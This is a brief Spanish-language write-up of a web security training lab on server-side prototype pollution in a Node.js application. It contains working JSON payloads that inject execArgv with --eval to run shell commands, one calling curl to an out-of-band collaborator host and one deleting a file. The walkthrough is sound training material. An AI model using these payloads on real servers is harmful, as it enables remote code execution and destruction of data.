Skip to content

20260322225928.png

LAB

20260322233702.png

Al ingresar con las credenciales otorgadas, veremos que tenemos un apartado para actualizar nuestra dirección.

20260322233730.png

Asi mismo, validamos en este apartado que la explotación de prototype pollution y efectivamente es vulenrable.

20260322233910.png

Revisando un poco sobre como ejecutar comandos, nos tomamos con este articulo el que explica sobre ello:

c
"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"
    ]
}

Por lo que al insertar y insertar el comando para eliminar el archivo el que se nos solicita.

c
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"7e0hs9X6LiVF8RWD6WT4Zaq9lVSfbp8a",

"__proto__": {

    "execArgv":[

"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"

    ]

}}

20260322234906.png

Y luego ir al apartado de Run maintenance jobs:

20260322234819.png

Vemos que se ejecuta el comando y asi mismo solucionar el laboratorio.

20260322234802.png